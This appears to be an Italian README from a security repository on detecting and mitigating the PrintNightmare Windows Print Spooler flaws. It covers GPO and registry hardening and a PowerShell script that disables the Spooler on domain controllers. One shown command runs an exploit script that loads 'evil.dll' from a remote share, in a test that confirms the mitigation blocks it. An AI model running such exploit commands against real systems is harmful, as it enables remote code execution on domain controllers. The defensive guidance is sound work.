
CVE-2021-1675 Informazioni di rilevamento
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527
Questo repository contiene un campione EVTX dell'attacco CVE-2021-1675 e CVE-2021-34527, oltre a un file di configurazione minimale di Sysmon che può essere utilizzato per generare la telemetria pertinente.
Si noti che queste regole potrebbero essere aggirate - applicare le patch appropriate e disabilitare il servizio Spooler di stampa sui controller di dominio.
Testare tutte le correzioni consigliate prima del rilascio in produzione, poiché potrebbero esserci conseguenze indesiderate a seguito di queste modifiche di hardening. Abbiamo scritto un post sul blog che spiega il contenuto di questo repository e le informazioni trovate. Qui: https://labs.lares.com/detection-and-mitigation-printnightmare/
Grazie a Benjamin Delpy, è disponibile un diagramma di flusso aggiornato sullo sfruttabilità di questo problema per determinare se i vostri sistemi sono probabilmente vulnerabili.

Impostazioni di sicurezza -> Servizi di sistema -> Spooler di stampa -> Disabilita
HKLM\SYSTEM\CurrentControlSet\Services\Spooler\Start = 4Configurazione computer -> Modelli amministrativi -> Stampanti -> Consenti allo Spooler di stampa di accettare connessioni client -> Disabilita
HKLM\Software\Policies\Microsoft\Windows NT\Printers\RegisterSpoolerRemoteRpcEndPoint = 2Stampanti -> Restrizioni Point and Print -> Richieste di sicurezza -> Quando si installano driver per una nuova connessione -> Mostra avviso e richiesta di elevazione
HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint = 0HKLM\SOFTWARE\Microsoft\Windows\CurrrentVersion\Policies\System\EnableLUA = 1La patch rilasciata da Microsoft nel giugno 2021 corregge CVE-2021-1675 ma purtroppo non risolve il problema noto come PrintNightmare (CVE-2021-34527), pertanto è possibile applicare una soluzione alternativa disabilitando il servizio Spooler di stampa. Ecco come fare sia tramite GPO che PowerShell. È stato confermato che la GPO corregge sia la funzione MS-RPRN RpcAddPrinterDriverEx che la funzione Win32 AddPrinterDriverEx utilizzate da SharpPrintNightmare.
La seguente GPO può essere impostata per negare le connessioni client allo spooler, che rappresenta una potenziale soluzione alternativa quando la disabilitazione completa del servizio Spooler potrebbe non essere un'opzione. È stata testata su controller di dominio e endpoint (W7/W10) in ambiente di laboratorio e gli utenti possono ancora aggiungere/rimuovere stampanti e stampare, ma impedisce il funzionamento dell'exploit. Nota: è anche noto che questa GPO corregge anche CVE-2021-34527 come indicato nella pagina delle vulnerabilità di Microsoft.
Configurazione computer -> Modelli amministrativi -> Stampanti -> Consenti allo Spooler di stampa di accettare connessioni client impostare su Disabilitato:

Quindi riavviare il servizio Spooler sull'host interessato. Se tutto funziona, l'exploit verrà negato:
./CVE-2021-1675.py lares.labs/[email protected] '\\certer.lares.labs\share\evil.dll' 1 ⨯
Password:
[*] Try 1...
[*] Connecting to ncacn_np:192.168.1.157[\PIPE\spoolss]
[-] Connection Failed
Un'altra correzione/soluzione alternativa è rimuovere gli utenti autenticati da Accesso compatibile Pre-Windows 2000 come scoperto da Dirk-jan.

Assicurarsi che i gruppi "Utenti autenticati" non siano membri del gruppo "Accesso compatibile Pre-Windows 2000". (Per impostazione predefinita, questi gruppi non sono inclusi nelle versioni correnti di Windows.) come mostrato nello screenshot qui sotto, non dovrebbero esserci membri:

In caso di dubbi su come procedere, è possibile seguire i seguenti passaggi:
Adattato lo script di 0gtweet per utilizzare ADDomainController per ottenere tutti i DC dal dominio
# the script STOP and DISABLES Print Spooler service (aka #PrintNightmare) on each server from the list below IF ONLY DEFAULT PRINTERS EXIST.
# revert if you need: go to services.msc, find the "print spooler" service, change startup type to "automatic" and start the service.
# Source: https://github.com/gtworek/PSBits/blob/master/Misc/StopAndDisableDefaultSpoolers.ps1
#
# Requirements RSAT
# Get-Module -Name ActiveDirectory
# Import-Module -Name ActiveDirectory
$computers = Get-ADDomainController -filter * | %{ $_.name }
foreach ($computer in $computers)
{
Write-Host "Processing $computer ..."
$service = Get-Service -ComputerName $computer -Name Spooler -ErrorAction SilentlyContinue
if (!$service)
{
Write-Host "Cannot connect to Spooler Service on $computer. Skipping." -ForegroundColor Yellow
continue
}
if ($service.Status -ne "Running")
{
Write-Host ("Service status is: """ + $service.Status + """. Skipping.") -ForegroundColor Yellow
continue
}
$printers = (Get-WmiObject -class Win32_printer -ComputerName $computer)
if (!$printers)
{
Write-Host "Cannot enumerate printers. Skipping." -ForegroundColor Yellow
continue
}
$disableSpooler = $true
foreach ($DriverName in ($printers.DriverName))
{
if (($DriverName -notmatch 'Microsoft XPS Document Writer') -and ($DriverName -notmatch 'Microsoft Print To PDF'))
{
Write-Host " Printer found: $DriverName" -ForegroundColor Green
$disableSpooler = $false
}
}
if ($disableSpooler)
{
Write-Host "Only default printers found. Stopping and disabling spooler..." -ForegroundColor DarkCyan
(Get-Service -ComputerName $computer -Name Spooler) | Stop-Service -Verbose
Set-Service -ComputerName $computer -Name Spooler -StartupType Disabled -Verbose